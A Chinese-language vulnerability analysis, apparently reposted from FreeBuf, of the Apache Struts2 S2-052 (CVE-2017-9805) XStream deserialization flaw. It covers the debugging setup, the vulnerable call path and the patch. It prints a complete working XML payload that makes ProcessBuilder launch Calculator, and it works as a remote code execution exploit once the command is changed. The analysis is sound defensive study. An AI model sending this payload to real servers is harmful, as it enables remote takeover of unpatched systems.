这篇文章将为大家详细讲解有关Struts2-052漏洞示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
2017 年 9 月 5 日,由国外安全研究组织 lgtm.com 的安全研究人员发现的严重漏洞在Apache Struts 2官方发布,漏洞编号为 CVE-2017-9805(S2-052), 攻击者可以传入精心构造的xml数据,远程命令执行。
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程命令执行。
利用条件:使用 REST 插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1)下载官方源码:
git clone https://github.com/apache/Struts.git
2)切换到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把源码包中src/apps/rest-showcase整个文件夹拷贝出来,新建一个项目
4)用IDEA或者eclipse导入该maven项目
5) debug模式运行后就可以愉快的调试了
根据官方公告知道该漏洞出现在 XstreamHandler 类,在 struts2-rest-plugin-2.5.12.jar 包内。
于是查看该类,该类中有一个toObject方法,其作用就是对xml内容进行反序列化。
先在此方法内打一个断点,然后构造数据包
发送数据包后,会跳到断点处,此时,看到是上层调用栈中是ContentTypeInterceptor调用了该方法
ContentTypeInterceptor类中intercept方法会根据传入的Content-Type的值生成相应的对象,由于我们传入的是application/xml,所以对应生成一个xml的处理对象XStreamHandler。
继续f5,看到执行反序列化的函数unmarshal,在这个函数执行时没有进行数据安全检查,导致远程命令执行。
接着进入unmarshal函数内,继续往下调试,AbstractReflectionConverter会一步步解析我们提交的xml标签和值,最终调用poc中代码
在页面http://localhost:8080//struts2-rest-showcase/orders/3/edit中点击Submit,
拦截HTTP请求并将请求体改为POC Payload,同时将Content-Type Header改为application/xml。
payload为:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
发送请求后,弹出计算器
官方补丁,官方的修复方案中, 主要就是将 xml 中的数据白名单化,把 Collection 和 Map,一些基础类,时间类放在白名单中,这样就能阻止 XStream 反序列化的过程中带入一些有害类
Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本
Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本
关于Struts2-052漏洞示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://www.freebuf.com/articles/web/208654.html